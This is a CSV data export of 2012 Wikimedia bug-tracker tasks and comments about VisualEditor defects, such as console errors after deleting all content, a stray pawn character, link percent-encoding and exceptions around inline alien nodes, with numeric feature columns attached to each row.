184590,VisualEditor: Handle percent-encoding in MWInternalLinkAnnotation,"It's resolved on our end, we have bug 41116 to track the other issues.",,,1354921807,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-jazf6d7oefzddss6mv36,task_subcomment,,True,c1,0,False,,,-30,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,18.0,12.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3529411764705883,1.0,"It's resolved on our end, we have bug 41116 to track the other issues."
184585,VisualEditor: Handle percent-encoding in MWInternalLinkAnnotation,"I5e1de9244d727641c10b6f0a89acc61afba7ecad will not actually fix the problem. I'm cleaning up our link serialization handler right now, which should also fix this issue.",,,1354916743,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-jazf6d7oefzddss6mv36,task_subcomment,,True,c1,0,True,,,-30,,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,19.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,4.0,4.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,5.653846153846154,0.9230769230769231,"I5e1de9244d727641c10b6f0a89acc61afba7ecad will not actually fix the problem. I'm cleaning up our link serialization handler right now, which should also fix this issue."
184579,VisualEditor: Handle percent-encoding in MWInternalLinkAnnotation,If5d22e88904d6b2c438caac403ac2d78d440b017 resolves this issue. It's still dependent on bug 41116 (which has a patch that needs merging: I5e1de9244d727641c10b6f0a89acc61afba7ecad ),,,1354912585,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-jazf6d7oefzddss6mv36,task_subcomment,,True,c1,0,False,,,-30,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,13.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,If5d22e88904d6b2c438caac403ac2d78d440b017 resolves this issue. It's still dependent on bug 41116 (which has a patch that needs merging: I5e1de9244d727641c10b6f0a89acc61afba7ecad )
44275,VisualEditor: Clicking link toolbar button with zero-length selection makes UI go crazy,"...presumably because the link becomes a pre-annotation.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1353376740,1353971422.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-idkrdic2vphpfwclosyo,task_description,resolved,True,c1,0,False,False,True,-32,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.206896551724138,0.6896551724137931,"...presumably because the link becomes a pre-annotation.

--------------------------
**Version**: unspecified
**Severity**: normal"
183312,VisualEditor: Clicking link toolbar button with zero-length selection makes UI go crazy,Fixed in I38995d4101fda71bfb2e6fe516603507ce820937 and Ibf6b26de299e54ae8688a2653bf5d5538927f8c3,,,1353971585,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-idkrdic2vphpfwclosyo,task_subcomment,,True,c1,0,False,,,-31,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.4,1.0,Fixed in I38995d4101fda71bfb2e6fe516603507ce820937 and Ibf6b26de299e54ae8688a2653bf5d5538927f8c3
183306,VisualEditor: Clicking link toolbar button with zero-length selection makes UI go crazy,This was resolved in the recent inspector rewrite.,,,1353971422,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-idkrdic2vphpfwclosyo,task_subcomment,,True,c1,0,False,,,-31,,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,11.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.777777777777778,1.0,This was resolved in the recent inspector rewrite.
44220,VisualEditor: Provide a way of users seeing the edit-notices and page protection level warnings as they're editing,"From Max's bug 42142

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=42142",High,80.0,1353122280,1354317270.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-uxbnfma4ejiksnkp2e7x,task_description,resolved,True,c1,0,True,False,True,-33,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.212121212121212,0.5151515151515151,"From Max's bug 42142

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
205879,VisualEditor: Provide a way of users seeing the edit-notices and page protection level warnings as they're editing,Resolved in I581bf5a005a9c18422f952d71064d17d0ba9b540,,,1354317270,,PHID-USER-mpfqwllylfkzpcgkdkvc,True,,,PHID-TASK-uxbnfma4ejiksnkp2e7x,task_subcomment,,True,c1,0,False,,,-31,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,1.0,Resolved in I581bf5a005a9c18422f952d71064d17d0ba9b540
44219,VisualEditor: Trivial way to get a lot of errors,"1. Go to https://www.mediawiki.org/wiki/VisualEditor:Testy and click edit
2. Select all using Ctrl-A (or Cmd-A) and press backspace
3. Press any content key (e.g. ""a"")

What should happen:

: You get a document with an ""a"" in its own paragraph.

What does happen:

: You get a document with an ""a"" in its own paragraph, and two console errors:

TypeError: this.data[offset] is undefined

...ation)===false){return null;}while(start>0){start--;if(this.offsetContainsAnnota...

load.p...4105Z&* (line 89)


TypeError: this.data[offset] is undefined

...ation)===false){return null;}while(start>0){start--;if(this.offsetContainsAnnota...

load.p...4105Z&* (line 89)


Thereafter, pressing return in the new context gives:

TypeError: node is null

...ve.Node.call(this,type);this.model=model;this.$=$element||$('<div>');this.parent...

Etc.

--------------------------
**Version**: unspecified
**Severity**: critical",High,80.0,1353120840,1353541840.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-vsfkgcc5kyalos6vc4gl,task_description,resolved,True,c1,0,True,False,True,-33,,1.0,0.0,0.0,0.0,0.0,5.0,1.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.5,0.0,0.0,0.0,12.5,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.5,10.5,0.0,3.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,2.5,0.0,2.0,3.0,8.5,0.0,3.0,0.0,2.0,0.0,1.0,2.5,0.0,1.0,0.0,0.0,1.0,4.449438202247191,0.5224719101123596,"1. Go to URL and click edit
2. Select all using Ctrl-A (or Cmd-A) and press backspace
3. Press any content key (e.g. ""a"")

What should happen:

: You get a document with an ""a"" in its own paragraph.

What does happen:

: You get a document with an ""a"" in its own paragraph, and two console errors:

TypeError: this.data[offset] is undefined

...ation)===false){return null;}while(start>0){start--;if(this.offsetContainsAnnota...

load.p...4105Z&* (line 89)


TypeError: this.data[offset] is undefined

...ation)===false){return null;}while(start>0){start--;if(this.offsetContainsAnnota...

load.p...4105Z&* (line 89)


Thereafter, pressing return in the new context gives:

TypeError: node is null

...ve.Node.call(this,type);this.model=model;this.$=$element||$('<div>');this.parent...

Etc.

--------------------------
**Version**: unspecified
**Severity**: critical"
205821,VisualEditor: Trivial way to get a lot of errors,"Confirmed fixed, will be pushed live on Monday.",,,1353541840,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-vsfkgcc5kyalos6vc4gl,task_subcomment,,True,c1,0,True,,,-32,,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,"Confirmed fixed, will be pushed live on Monday."
205816,VisualEditor: Trivial way to get a lot of errors,https://gerrit.wikimedia.org/r/#/c/34597/1,,,1353535425,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-vsfkgcc5kyalos6vc4gl,task_subcomment,,True,c1,0,False,,,-32,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
205810,VisualEditor: Trivial way to get a lot of errors,"There were actually two cases, with two different root causes.

If the last node in the document was not a paragraph, comment #2 applies: the document is empty and the pre-annotations code was asking for annotations at offset 0. This was fixed a while ago.

If the last node in the document was a paragraph (this is common), the document wouldn't actually be emptied. Instead, all nodes would be removed except the last paragraph, which gets stripped. So after removing ""everything"", we are left with a document that only contains an empty paragraph. However, in the model tree, this empty paragraph is truly empty and does not contain a zero-length text node (most other empty paragraphs do have one).

Once you type a character, CE pawns it first, processing a transaction that inserts a pawn in the paragraph. The transaction processor gets confused by the lack of any content nodes in the paragraph, and issues a rebuild for the contents of the paragraph, which fails spectacularly. The model tree ends up in an inconsistent state with a text node being a direct child of the document node and the paragraph node being gone. This then caused offset computations to be off by one, which caused other parts of CE to do strange things, culminating in an exception in openAnnotations(). When the exception occurs, the pawn hasn't been unpawned yet, so there's pawn leakage.

Trevor has a commit queued up that will fix this.",,,1353530127,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-vsfkgcc5kyalos6vc4gl,task_subcomment,,True,c1,0,False,,,-32,,0.6666666666666666,0.3333333333333333,0.0,1.6666666666666667,1.3333333333333333,7.0,2.6666666666666665,0.0,0.0,0.6666666666666666,3.3333333333333335,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.6666666666666666,6.333333333333333,10.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,2.3333333333333335,0.0,0.0,0.0,0.0,1.0,0.6666666666666666,6.666666666666667,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,1.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,4.666666666666667,0.0,1.0,0.0,0.6666666666666666,0.0,15.0,1.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.6666666666666666,1.0,0.0,0.0,0.0,0.6666666666666666,0.0,11.666666666666666,5.0,5.0,1.6666666666666667,1.3333333333333333,15.0,0.0,0.0,0.0,0.3333333333333333,2.3333333333333335,0.0,2.3333333333333335,0.0,1.0,10.0,1.0,0.0,0.6666666666666666,0.0,1.0,0.0,2.3333333333333335,5.0,0.0,1.3333333333333333,0.0,0.3333333333333333,0.0,4.048004768917877,0.6758538466933164,"There were actually two cases, with two different root causes.

If the last node in the document was not a paragraph, comment #2 applies: the document is empty and the pre-annotations code was asking for annotations at offset 0. This was fixed a while ago.

If the last node in the document was a paragraph (this is common), the document wouldn't actually be emptied. Instead, all nodes would be removed except the last paragraph, which gets stripped. So after removing ""everything"", we are left with a document that only contains an empty paragraph. However, in the model tree, this empty paragraph is truly empty and does not contain a zero-length text node (most other empty paragraphs do have one).

Once you type a character, CE pawns it first, processing a transaction that inserts a pawn in the paragraph. The transaction processor gets confused by the lack of any content nodes in the paragraph, and issues a rebuild for the contents of the paragraph, which fails spectacularly. The model tree ends up in an inconsistent state with a text node being a direct child of the document node and the paragraph node being gone. This then caused offset computations to be off by one, which caused other parts of CE to do strange things, culminating in an exception in openAnnotations(). When the exception occurs, the pawn hasn't been unpawned yet, so there's pawn leakage.

Trevor has a commit queued up that will fix this."
205805,VisualEditor: Trivial way to get a lot of errors,"After deleting all the content document if completely empty (data.length = 0),
however view still askes what are the annotations at offset 0 - and that's what
fails.
Possible fix it to make method getAnnotationsFromOffset return empty set if
given offset does not exists.",,,1353138590,,PHID-USER-s7sn3zjthnxvep34c5ho,True,,,PHID-TASK-vsfkgcc5kyalos6vc4gl,task_subcomment,,True,c1,0,False,,,-33,,2.0,0.0,2.0,0.0,2.0,6.0,2.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,4.0,4.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,4.296296296296297,0.8148148148148148,"After deleting all the content document if completely empty (data.length = 0),
however view still askes what are the annotations at offset 0 - and that's what
fails.
Possible fix it to make method getAnnotationsFromOffset return empty set if
given offset does not exists."
205799,VisualEditor: Trivial way to get a lot of errors,%%%*** Bug 42218 has been marked as a duplicate of this bug. ***%%%,,,1353138404,,PHID-USER-s7sn3zjthnxvep34c5ho,True,,,PHID-TASK-vsfkgcc5kyalos6vc4gl,task_subcomment,,True,c1,0,False,,,-33,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.2916666666666665,0.5833333333333334,%%%*** Bug 42218 has been marked as a duplicate of this bug. ***%%%
44218,VisualEditor: Trivial way to get a pawn (♙) appearing,"1. Go to https://www.mediawiki.org/wiki/VisualEditor:Testy and click edit
2. Select all using Ctrl-A (or Cmd-A) and press backspace
3. Press any content key (e.g. ""a"")

What should happen:

: You get a document with an ""a"" in its own paragraph.

What does happen:

: You get a document with an ""a"" in its own paragraph, and a pawn.

--------------------------
**Version**: unspecified
**Severity**: critical",High,80.0,1353120720,1353138404.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-p6hldnmgl7xtnj7zwjyv,task_description,resolved,True,c1,0,True,False,True,-33,,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,4.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,2.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,9.5,0.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.0,9.0,0.0,2.5,5.5,0.0,0.0,0.0,0.0,3.5,0.0,1.0,0.0,3.5,4.0,1.5,0.0,5.0,0.0,3.5,0.0,1.5,4.5,0.0,0.5,0.0,0.0,1.0,3.002450980392157,0.6493212669683258,"1. Go to URL and click edit
2. Select all using Ctrl-A (or Cmd-A) and press backspace
3. Press any content key (e.g. ""a"")

What should happen:

: You get a document with an ""a"" in its own paragraph.

What does happen:

: You get a document with an ""a"" in its own paragraph, and a pawn.

--------------------------
**Version**: unspecified
**Severity**: critical"
205756,VisualEditor: Trivial way to get a pawn (♙) appearing,"

%%%*** This bug has been marked as a duplicate of bug 42219 ***%%%",,,1353138404,,PHID-USER-s7sn3zjthnxvep34c5ho,True,,,PHID-TASK-p6hldnmgl7xtnj7zwjyv,task_subcomment,,True,c1,0,False,,,-33,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.5416666666666666,"

%%%*** This bug has been marked as a duplicate of bug 42219 ***%%%"
44212,VisualEditor: Inserting text content around inline alien nodes throws an exception,"Specifically it fails when trying to insert text content between two inline aliens or after last inline alien inside its parent.

Exception:
Uncaught TypeError: Cannot read property 'start' of undefined ve.dm.TransactionProcessor.js:259
ve.dm.TransactionProcessor.processors.replace

// Set change markers on the parents of the affected nodes
for ( i = 0; i < selection.length; i++ ) {
	this.setChangeMarker(
		selection[i].parentOuterRange.start + this.adjustment,
		'content'
	);
}

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1353106740,1353366778.0,PHID-USER-s7sn3zjthnxvep34c5ho,False,,False,PHID-TASK-murhom53ypttvsazncwz,task_description,resolved,True,c1,0,False,False,True,-33,,0.0,0.0,0.0,0.0,0.5,4.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,1.5,5.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,0.5,0.5,1.0,0.0,0.0,0.0,0.0,1.0,0.0,2.5,0.0,3.0,5.5,3.5,0.0,3.0,0.0,3.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,2.0,4.950980392156863,0.7450980392156863,"Specifically it fails when trying to insert text content between two inline aliens or after last inline alien inside its parent.

Exception:
Uncaught TypeError: Cannot read property 'start' of undefined ve.dm.TransactionProcessor.js:259
ve.dm.TransactionProcessor.processors.replace

// Set change markers on the parents of the affected nodes
for ( i = 0; i < selection.length; i++ ) {
	this.setChangeMarker(
		selection[i].parentOuterRange.start + this.adjustment,
		'content'
	);
}

--------------------------
**Version**: unspecified
**Severity**: normal"
205429,VisualEditor: Inserting text content around inline alien nodes throws an exception,https://gerrit.wikimedia.org/r/34224,,,1353366778,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-murhom53ypttvsazncwz,task_subcomment,,True,c1,0,False,,,-32,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,GERRIT_URL
205426,VisualEditor: Inserting text content around inline alien nodes throws an exception,It also happens when inserting text content before inline alien if that alien is a first child of its parent.,,,1353137908,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-murhom53ypttvsazncwz,task_subcomment,,True,c1,0,False,,,-33,,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,14.0,5.0,0.0,0.0,0.0,10.0,0.0,5.0,5.0,0.0,10.0,0.0,0.0,0.0,4.285714285714286,0.9523809523809523,It also happens when inserting text content before inline alien if that alien is a first child of its parent.
44137,"VisualEditor: Sync availability of ""minor edit"" with MW backend","Currently when using VisualEditor to create a new page, the ""Save page"" dialog box offers two checkboxes below the edit summary field: ""This is a minor edit"" and ""Watch this page"".

When creating a page, ""This is a minor edit"" does not typically show up. It's a bug that the checkbox appears when creating a page with the VisualEditor interface.

This bug is closely related to bug 40774.

--------------------------
**Version**: unspecified
**Severity**: trivial",High,80.0,1352957280,1354565365.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-cougiswjchh3cn6khldz,task_description,resolved,True,c1,0,False,False,True,-33,,0.0,0.0,0.0,0.0,1.0,4.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,4.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,5.5,1.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,12.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,7.0,2.0,8.5,2.0,0.5,9.5,0.0,0.0,0.0,0.0,2.0,0.0,1.5,0.0,1.0,4.0,2.5,0.0,4.5,0.0,1.0,0.0,3.0,4.0,0.0,2.0,0.0,0.0,0.0,3.8076923076923075,0.6634615384615384,"Currently when using VisualEditor to create a new page, the ""Save page"" dialog box offers two checkboxes below the edit summary field: ""This is a minor edit"" and ""Watch this page"".

When creating a page, ""This is a minor edit"" does not typically show up. It's a bug that the checkbox appears when creating a page with the VisualEditor interface.

This bug is closely related to bug 40774.

--------------------------
**Version**: unspecified
**Severity**: trivial"
